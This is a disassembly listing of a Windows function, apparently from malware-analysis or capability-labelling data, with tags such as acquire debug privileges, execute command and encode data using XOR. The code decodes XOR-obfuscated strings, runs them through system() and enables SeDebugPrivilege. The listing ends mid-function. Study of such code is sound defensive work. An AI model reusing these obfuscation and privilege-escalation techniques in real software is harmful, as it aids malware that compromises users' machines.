Function at 0x402c90
Capabilities:
Acquire debug privileges
Create process on windows
Encode data using xor
Execute command
Query or enumerate registry value
Set console window title
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x407186
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x1418
call fcn.00406f70
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1108], 0x7e28125e
mov dword [ebp - 0x1104], 0x727fc0cd
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [ebp - 0x1320], eax
mov dword [ebp - 0x131c], ecx
mov dword [ebp - 0x1108], 0xaff263a6
mov dword [ebp - 0x1104], 0xdb91398e
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1318], eax
mov dword [ebp - 0x1314], ecx
mov dword [ebp - 0x1108], 0x11447d3d
mov dword [ebp - 0x1104], 0x4b4fe0bf
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1120], eax
mov dword [ebp - 0x1108], 0xaff263a6
mov dword [ebp - 0x111c], ecx
mov dword [ebp - 0x1104], 0xdb91398e
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
movaps xmm1, xmmword [ebp - 0x1320]
mov dword [ebp - 0x1118], eax
lea eax, [ebp - 0x1320]
mov dword [ebp - 0x1114], ecx
xorps xmm1, xmmword [ebp - 0x1120]
push eax
movaps xmmword [ebp - 0x1320], xmm1
call esi
mov dword [ebp - 0x1108], 0x7e361867
add esp, 4
mov dword [ebp - 0x1104], 0x202c81f7
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x13e0], eax
mov dword [ebp - 0x13dc], ecx
mov dword [ebp - 0x1108], 0x8f8b0186
mov dword [ebp - 0x1104], 0xb2fe4bca
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x13d8], eax
mov dword [ebp - 0x13d4], ecx
mov dword [ebp - 0x1108], 0x62ef334b
mov dword [ebp - 0x1104], 0xdbd4807a
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x13d0], eax
mov dword [ebp - 0x13cc], ecx
mov dword [ebp - 0x1108], 0xfd3ad6b8
mov dword [ebp - 0x1104], 0x92e471
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x13c8], eax
mov dword [ebp - 0x13c4], ecx
mov dword [ebp - 0x1108], 0x282dd854
mov dword [ebp - 0x1104], 0x1ea8a1cf
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x13c0], eax
mov dword [ebp - 0x13bc], ecx
mov dword [ebp - 0x1108], 0x1dc6e95e
mov dword [ebp - 0x1104], 0xb57dfa0
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x13b8], eax
mov dword [ebp - 0x13b4], ecx
mov dword [ebp - 0x1108], 0x6d232213
mov dword [ebp - 0x1104], 0x82595319
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x13b0], eax
mov dword [ebp - 0x13ac], ecx
mov dword [ebp - 0x1108], 0xf353414
mov dword [ebp - 0x1104], 0xb1a51ac8
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x13a8], eax
mov dword [ebp - 0x13a4], ecx
mov dword [ebp - 0x1108], 0x11447d3d
mov dword [ebp - 0x1104], 0x4b4fe0bf
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1290], eax
mov dword [ebp - 0x128c], ecx
mov dword [ebp - 0x1108], 0xaff263a6
mov dword [ebp - 0x1104], 0xdb91398e
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1288], eax
mov dword [ebp - 0x1284], ecx
mov dword [ebp - 0x1108], 0x108a692f
mov dword [ebp - 0x1104], 0xfbf2a015
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1280], eax
mov dword [ebp - 0x127c], ecx
mov dword [ebp - 0x1108], 0x8f53b9c0
mov dword [ebp - 0x1104], 0x77e68d14
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1278], eax
mov dword [ebp - 0x1274], ecx
mov dword [ebp - 0x1108], 0x859b331
mov dword [ebp - 0x1104], 0x58e581b3
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1270], eax
mov dword [ebp - 0x126c], ecx
mov dword [ebp - 0x1108], 0x2df4c90a
mov dword [ebp - 0x1104], 0x397aeb92
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1268], eax
mov dword [ebp - 0x1264], ecx
mov dword [ebp - 0x1108], 0x6d161023
mov dword [ebp - 0x1104], 0x82595319
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1260], eax
mov dword [ebp - 0x125c], ecx
mov dword [ebp - 0x1108], 0xf353414
mov dword [ebp - 0x1104], 0xb1a51ac8
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
movaps xmm1, xmmword [ebp - 0x13e0]
xorps xmm1, xmmword [ebp - 0x1290]
movaps xmmword [ebp - 0x13e0], xmm1
movaps xmm1, xmmword [ebp - 0x13d0]
xorps xmm1, xmmword [ebp - 0x1280]
movaps xmmword [ebp - 0x13d0], xmm1
movaps xmm1, xmmword [ebp - 0x13c0]
xorps xmm1, xmmword [ebp - 0x1270]
movaps xmmword [ebp - 0x13c0], xmm1
movaps xmm1, xmmword [ebp - 0x13b0]
mov dword [ebp - 0x1258], eax
lea eax, [ebp - 0x13e0]
mov dword [ebp - 0x1254], ecx
xorps xmm1, xmmword [ebp - 0x1260]
push eax
movaps xmmword [ebp - 0x13b0], xmm1
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea eax, [ebp - 0x10ec]
mov dword [ebp - 0x10ec], 0
push eax
xorps xmm0, xmm0
push 0x28
movups xmmword [ebp - 0x107c], xmm0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40314e
lea eax, [ebp - 0x1078]
mov dword [ebp - 0x107c], 1
push eax
push str.SeDebugPrivilege
push 0
mov dword [ebp - 0x1070], 2
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x403142
push 0
push 0
push 0
lea eax, [ebp - 0x107c]
push eax
push 0
push dword [ebp - 0x10ec]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 0x10ec]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x10a0]
call fcn.00402540
mov dword [ebp - 4], 0
mov dword [ebp - 0x1108], 0x317a5010
mov dword [ebp - 0x1104], 0x3b3b94d7
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1280], eax
mov dword [ebp - 0x127c], ecx
mov dword [ebp - 0x1108], 0x80dd59d5
mov dword [ebp - 0x1104], 0xbefc17fa
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1278], eax
mov dword [ebp - 0x1274], ecx
mov dword [ebp - 0x1108], 0x71fe0400
mov dword [ebp - 0x1104], 0x9091d573
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1270], eax
mov dword [ebp - 0x126c], ecx
mov dword [ebp - 0x1108], 0xfb20cba5
mov dword [ebp - 0x1104], 0x7d8bec71
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1268], eax
mov dword [ebp - 0x1264], ecx
mov dword [ebp - 0x1108], 0x859b33b
mov dword [ebp - 0x1104], 0x58e581b3
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1260], eax
mov dword [ebp - 0x125c], ecx
mov dword [ebp - 0x1108], 0x2df4c90a
mov dword [ebp - 0x1104], 0x397aeb92
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1258], eax
mov dword [ebp - 0x1254], ecx
mov dword [ebp - 0x1108], 0x11447d3d
mov dword [ebp - 0x1104], 0x4b4fe0bf
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1210], eax
mov dword [ebp - 0x120c], ecx
mov dword [ebp - 0x1108], 0xaff263a6
mov dword [ebp - 0x1104], 0xdb91398e
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1208], eax
mov dword [ebp - 0x1204], ecx
mov dword [ebp - 0x1108], 0x108a692f
mov dword [ebp - 0x1104], 0xfbf2a015
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1200], eax
mov dword [ebp - 0x11fc], ecx
mov dword [ebp - 0x1108], 0x8f53b9c0
mov dword [ebp - 0x1104], 0x77e68d14
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x11f8], eax
mov dword [ebp - 0x11f4], ecx
mov dword [ebp - 0x1108], 0x859b331
mov dword [ebp - 0x1104], 0x58e581b3
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x11f0], eax
mov dword [ebp - 0x11ec], ecx
mov dword [ebp - 0x1108], 0x2df4c90a
mov dword [ebp - 0x1104], 0x397aeb92
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
movaps xmm1, xmmword [ebp - 0x1280]
xorps xmm1, xmmword [ebp - 0x1210]
movaps xmmword [ebp - 0x1280], xmm1
movaps xmm1, xmmword [ebp - 0x1270]
xorps xmm1, xmmword [ebp - 0x1200]
mov dword [ebp - 0x11e8], eax
mov dword [ebp - 0x11e4], ecx
movaps xmmword [ebp - 0x1270], xmm1
lea eax, [ebp - 0x1280]
movaps xmm1, xmmword [ebp - 0x1260]
xorps xmm1, xmmword [ebp - 0x11f0]
push eax
movaps xmmword [ebp - 0x1260], xmm1
call fcn.00401990
mov dword [ebp - 0x1108], 0x65280870
add esp, 4
mov dword [ebp - 0x1104], 0x231bc0d6
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x11fc], ecx
mov dword [ebp - 0x1200], eax
mov dword [ebp - 0x1108], 0x8f8605c3
mov dword [ebp - 0x1104], 0xb4e54ccf
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x11f4], ecx
mov dword [ebp - 0x11f8], eax
mov dword [ebp - 0x1108], 0x75f20c01
mov dword [ebp - 0x1104], 0xfbf2a015
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x11ec], ecx
mov dword [ebp - 0x11f0], eax
mov dword [ebp - 0x1108], 0x8f53b9c0
mov dword [ebp - 0x1104], 0x77e68d14
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x11e4], ecx
mov dword [ebp - 0x11e8], eax
mov dword [ebp - 0x1108], 0x11447d3d
mov dword [ebp - 0x1104], 0x4b4fe0bf
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1108], 0xaff263a6
mov dword [ebp - 0x1104], 0xdb91398e
mov dword [ebp - 0x1160], eax
mov eax, dword [ebp - 0x1108]
mov dword [ebp - 0x115c], ecx
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1108], 0x108a692f
mov dword [ebp - 0x1104], 0xfbf2a015
mov dword [ebp - 0x1158], eax
mov eax, dword [ebp - 0x1108]
mov dword [ebp - 0x1154], ecx
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1108], 0x8f53b9c0
mov dword [ebp - 0x1150], eax
mov dword [ebp - 0x114c], ecx
mov dword [ebp - 0x1104], 0x77e68d14
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
movaps xmm1, xmmword [ebp - 0x1200]
xorps xmm1, xmmword [ebp - 0x1160]
movaps xmmword [ebp - 0x1200], xmm1
movaps xmm1, xmmword [ebp - 0x11f0]
mov dword [ebp - 0x1144], ecx
lea ecx, [ebp - 0x1200]
mov dword [ebp - 0x1148], eax
xorps xmm1, xmmword [ebp - 0x1150]
movaps xmmword [ebp - 0x11f0], xmm1
call fcn.00401180
mov dword [ebp - 0x1108], 0x4e25095a
mov dword [ebp - 0x1104], 0x2e6181cc
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1310], eax
mov dword [ebp - 0x130c], ecx
mov dword [ebp - 0x1108], 0xaff206de
mov dword [ebp - 0x1104], 0xdb91398e
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1308], eax
mov dword [ebp - 0x1304], ecx
mov dword [ebp - 0x1108], 0x11447d3d
mov dword [ebp - 0x1104], 0x4b4fe0bf
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1120], eax
mov dword [ebp - 0x1108], 0xaff263a6
mov dword [ebp - 0x111c], ecx
mov dword [ebp - 0x1104], 0xdb91398e
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
movaps xmm1, xmmword [ebp - 0x1310]
mov dword [ebp - 0x1114], ecx
lea ecx, [ebp - 0x1310]
mov dword [ebp - 0x1118], eax
xorps xmm1, xmmword [ebp - 0x1120]
movaps xmmword [ebp - 0x1310], xmm1
call fcn.00401180
cmp eax, 0xffffffff
je 0x4037ca
mov dword [ebp - 0x1110], 0x7021116d
mov dword [ebp - 0x110c], 0x286f85cc
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1200], eax
mov dword [ebp - 0x11fc], ecx
mov dword [ebp - 0x1110], 0xca810cca
mov dword [ebp - 0x110c], 0xb6f05eae
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x11f8], eax
mov dword [ebp - 0x11f4], ecx
mov dword [ebp - 0x1110], 0x1080474a
mov dword [ebp - 0x110c], 0xfbf2a015
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x11f0], eax
mov dword [ebp - 0x11ec], ecx
mov dword [ebp - 0x1110], 0x8f53b9c0
mov dword [ebp - 0x110c], 0x77e68d14
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x11e8], eax
mov dword [ebp - 0x11e4], ecx
mov dword [ebp - 0x1110], 0x11447d3d
mov dword [ebp - 0x110c], 0x4b4fe0bf
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x11b0], eax
mov dword [ebp - 0x11ac], ecx
mov dword [ebp - 0x1110], 0xaff263a6
mov dword [ebp - 0x110c], 0xdb91398e
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x11a8], eax
mov dword [ebp - 0x11a4], ecx
mov dword [ebp - 0x1110], 0x108a692f
mov dword [ebp - 0x110c], 0xfbf2a015
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x11a0], eax
mov dword [ebp - 0x119c], ecx
mov dword [ebp - 0x1110], 0x8f53b9c0
mov dword [ebp - 0x110c], 0x77e68d14
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
movaps xmm1, xmmword [ebp - 0x11b0]
xorps xmm1, xmmword [ebp - 0x1200]
movaps xmmword [ebp - 0x1200], xmm1
movaps xmm1, xmmword [ebp - 0x11f0]
mov dword [ebp - 0x1198], eax
lea eax, [ebp - 0x1200]
mov dword [ebp - 0x1194], ecx
xorps xmm1, xmmword [ebp - 0x11a0]
push eax
movaps xmmword [ebp - 0x11f0], xmm1
call fcn.00401990
add esp, 4
jmp 0x403e3e
mov dword [ebp - 0x1108], 0x11257d7b
mov dword [ebp - 0x1104], 0x4b3de0d6
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x139c], ecx
mov dword [ebp - 0x13a0], eax
mov dword [ebp - 0x1108], 0xaf9e63d6
mov dword [ebp - 0x1104], 0xdbe839ef
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1394], ecx
mov dword [ebp - 0x1398], eax
mov dword [ebp - 0x1108], 0x10ce6964
mov dword [ebp - 0x1104], 0xfbf2a015
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x138c], ecx
mov dword [ebp - 0x1390], eax
mov dword [ebp - 0x1108], 0x8f53b9c0
mov dword [ebp - 0x1104], 0x77e68d14
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1384], ecx
mov dword [ebp - 0x1388], eax
mov dword [ebp - 0x1108], 0x11447d3d
mov dword [ebp - 0x1104], 0x4b4fe0bf
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1108], 0xaff263a6
mov dword [ebp - 0x1104], 0xdb91398e
mov dword [ebp - 0x1160], eax
mov eax, dword [ebp - 0x1108]
mov dword [ebp - 0x115c], ecx
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1108], 0x108a692f
mov dword [ebp - 0x1104], 0xfbf2a015
mov dword [ebp - 0x1158], eax
mov eax, dword [ebp - 0x1108]
mov dword [ebp - 0x1154], ecx
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1108], 0x8f53b9c0
mov dword [ebp - 0x1150], eax
mov dword [ebp - 0x114c], ecx
mov dword [ebp - 0x1104], 0x77e68d14
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
movaps xmm1, xmmword [ebp - 0x1160]
xorps xmm1, xmmword [ebp - 0x13a0]
movaps xmmword [ebp - 0x13a0], xmm1
movaps xmm1, xmmword [ebp - 0x1390]
mov dword [ebp - 0x1144], ecx
lea ecx, [ebp - 0x13a0]
mov dword [ebp - 0x1148], eax
xorps xmm1, xmmword [ebp - 0x1150]
movaps xmmword [ebp - 0x1390], xmm1
call fcn.004026e0
test al, al
je 0x403e3e
mov dword [ebp - 0x1108], 0x11257d7b
mov dword [ebp - 0x1104], 0x4b3de0d6
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x133c], ecx
mov dword [ebp - 0x1340], eax
mov dword [ebp - 0x1108], 0xaf9e63d6
mov dword [ebp - 0x1104], 0xdbe839ef
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1334], ecx
mov dword [ebp - 0x1338], eax
mov dword [ebp - 0x1108], 0x10ce6964
mov dword [ebp - 0x1104], 0xfbf2a024
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x132c], ecx
mov dword [ebp - 0x1330], eax
mov dword [ebp - 0x1108], 0x8f53b9c0
mov dword [ebp - 0x1104], 0x77e68d14
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1324], ecx
mov dword [ebp - 0x1328], eax
mov dword [ebp - 0x1108], 0x11447d3d
mov dword [ebp - 0x1104], 0x4b4fe0bf
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1108], 0xaff263a6
mov dword [ebp - 0x1104], 0xdb91398e
mov dword [ebp - 0x1160], eax
mov eax, dword [ebp - 0x1108]
mov dword [ebp - 0x115c], ecx
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1108], 0x108a692f
mov dword [ebp - 0x1104], 0xfbf2a015
mov dword [ebp - 0x1158], eax
mov eax, dword [ebp - 0x1108]
mov dword [ebp - 0x1154], ecx
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1108], 0x8f53b9c0
mov dword [ebp - 0x1150], eax
mov dword [ebp - 0x114c], ecx
mov dword [ebp - 0x1104], 0x77e68d14
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
movaps xmm1, xmmword [ebp - 0x1340]
xorps xmm1, xmmword [ebp - 0x1160]
mov dword [ebp - 0x1144], ecx
lea ecx, [ebp - 0x1340]
mov dword [ebp - 0x1148], eax
movaps xmmword [ebp - 0x1340], xmm1
movaps xmm1, xmmword [ebp - 0x1150]
xorps xmm1, xmmword [ebp - 0x1330]
movaps xmmword [ebp - 0x1330], xmm1
call fcn.004026e0
test al, al
je 0x403e3e
mov dword [ebp - 0x1108], 0x11257d7b
mov dword [ebp - 0x1104], 0x4b3de0d6
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x135c], ecx
mov dword [ebp - 0x1360], eax
mov dword [ebp - 0x1108], 0xaf9e63d6
mov dword [ebp - 0x1104], 0xdbe839ef
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1354], ecx
mov dword [ebp - 0x1358], eax
mov dword [ebp - 0x1108], 0x10ce6964
mov dword [ebp - 0x1104], 0xfbf2a027
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x134c], ecx
mov dword [ebp - 0x1350], eax
mov dword [ebp - 0x1108], 0x8f53b9c0
mov dword [ebp - 0x1104], 0x77e68d14
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1344], ecx
mov dword [ebp - 0x1348], eax
mov dword [ebp - 0x1108], 0x11447d3d
mov dword [ebp - 0x1104], 0x4b4fe0bf
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1108], 0xaff263a6
mov dword [ebp - 0x1104], 0xdb91398e
mov dword [ebp - 0x1160], eax
mov eax, dword [ebp - 0x1108]
mov dword [ebp - 0x115c], ecx
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1108], 0x108a692f
mov dword [ebp - 0x1104], 0xfbf2a015
mov dword [ebp - 0x1158], eax
mov eax, dword [ebp - 0x1108]
mov dword [ebp - 0x1154], ecx
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1108], 0x8f53b9c0
mov dword [ebp - 0x1150], eax
mov dword [ebp - 0x114c], ecx
mov dword [ebp - 0x1104], 0x77e68d14
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
movaps xmm1, xmmword [ebp - 0x1360]
xorps xmm1, xmmword [ebp - 0x1160]
mov dword [ebp - 0x1144], ecx
lea ecx, [ebp - 0x1360]
mov dword [ebp - 0x1148], eax
movaps xmmword [ebp - 0x1360], xmm1
movaps xmm1, xmmword [ebp - 0x1150]
xorps xmm1, xmmword [ebp - 0x1350]
movaps xmmword [ebp - 0x1350], xmm1
call fcn.004026e0
test al, al
je 0x403e3e
mov dword [ebp - 0x1108], 0x11257d7b
mov dword [ebp - 0x1104], 0x4b3de0d6
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x137c], ecx
mov dword [ebp - 0x1380], eax
mov dword [ebp - 0x1108], 0xaf9e63d6
mov dword [ebp - 0x1104], 0xdbe839ef
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1374], ecx
mov dword [ebp - 0x1378], eax
mov dword [ebp - 0x1108], 0x10ce6964
mov dword [ebp - 0x1104], 0xfbf2a026
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x136c], ecx
mov dword [ebp - 0x1370], eax
mov dword [ebp - 0x1108], 0x8f53b9c0
mov dword [ebp - 0x1104], 0x77e68d14
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1364], ecx
mov dword [ebp - 0x1368], eax
mov dword [ebp - 0x1108], 0x11447d3d
mov dword [ebp - 0x1104], 0x4b4fe0bf
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1108], 0xaff263a6
mov dword [ebp - 0x1104], 0xdb91398e
mov dword [ebp - 0x1160], eax
mov eax, dword [ebp - 0x1108]
mov dword [ebp - 0x115c], ecx
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1108], 0x108a692f
mov dword [ebp - 0x1104], 0xfbf2a015
mov dword [ebp - 0x1158], eax
mov eax, dword [ebp - 0x1108]
mov dword [ebp - 0x1154], ecx
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1108], 0x8f53b9c0
mov dword [ebp - 0x1150], eax
mov dword [ebp - 0x114c], ecx
mov dword [ebp - 0x1104], 0x77e68d14
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
movaps xmm1, xmmword [ebp - 0x1380]
xorps xmm1, xmmword [ebp - 0x1160]
mov dword [ebp - 0x1144], ecx
lea ecx, [ebp - 0x1380]
mov dword [ebp - 0x1148], eax
movaps xmmword [ebp - 0x1380], xmm1
movaps xmm1, xmmword [ebp - 0x1150]
xorps xmm1, xmmword [ebp - 0x1370]
movaps xmmword [ebp - 0x1370], xmm1
call fcn.004026e0
test al, al
jne 0x403f19
mov dword [ebp - 0x1110], 0x62311c4d
mov dword [ebp - 0x110c], 0x4b4fe0da
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1130], eax
mov dword [ebp - 0x112c], ecx
mov dword [ebp - 0x1110], 0xaff263a6
mov dword [ebp - 0x110c], 0xdb91398e
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1128], eax
mov dword [ebp - 0x1124], ecx
mov dword [ebp - 0x1110], 0x11447d3d
mov dword [ebp - 0x110c], 0x4b4fe0bf
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
mov dword [ebp - 0x1140], eax
mov dword [ebp - 0x113c], ecx
mov dword [ebp - 0x1110], 0xaff263a6
mov dword [ebp - 0x110c], 0xdb91398e
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp - 0x110c]
movaps xmm1, xmmword [ebp - 0x1130]
mov dword [ebp - 0x1138], eax
lea eax, [ebp - 0x1130]
mov dword [ebp - 0x1134], ecx
xorps xmm1, xmmword [ebp - 0x1140]
push eax
movaps xmmword [ebp - 0x1130], xmm1
call esi
add esp, 4
mov esi, 1
jmp 0x405cec
mov dword [ebp - 0x1108], 0x6325096e
mov dword [ebp - 0x1104], 0x2c2189cb
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x11e0], eax
mov dword [ebp - 0x11dc], ecx
mov dword [ebp - 0x1108], 0xc2930486
mov dword [ebp - 0x1104], 0xf5bf17eb
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x11d8], eax
mov dword [ebp - 0x11d4], ecx
mov dword [ebp - 0x1108], 0x108a6925
mov dword [ebp - 0x1104], 0xfbf2a015
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x11d0], eax
mov dword [ebp - 0x11cc], ecx
mov dword [ebp - 0x1108], 0x8f53b9c0
mov dword [ebp - 0x1104], 0x77e68d14
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x11c8], eax
mov dword [ebp - 0x11c4], ecx
mov dword [ebp - 0x1108], 0x11447d3d
mov dword [ebp - 0x1104], 0x4b4fe0bf
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1108], 0xaff263a6
mov dword [ebp - 0x1104], 0xdb91398e
mov dword [ebp - 0x1160], eax
mov eax, dword [ebp - 0x1108]
mov dword [ebp - 0x115c], ecx
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1108], 0x108a692f
mov dword [ebp - 0x1104], 0xfbf2a015
mov dword [ebp - 0x1158], eax
mov eax, dword [ebp - 0x1108]
mov dword [ebp - 0x1154], ecx
mov ecx, dword [ebp - 0x1104]
mov dword [ebp - 0x1150], eax
mov dword [ebp - 0x1108], 0x8f53b9c0
mov dword [ebp - 0x114c], ecx
mov dword [ebp - 0x1104], 0x77e68d14
mov eax, dword [ebp - 0x1108]
mov ecx, dword [ebp - 0x1104]
movaps xmm1, xmmword [ebp - 0x11e0]
xorps xmm1, xmmword [ebp - 0x1160]
mov dword [ebp - 0x1148], eax
lea eax, [ebp - 0x11e0]
mov dword [ebp - 0x1144], ecx
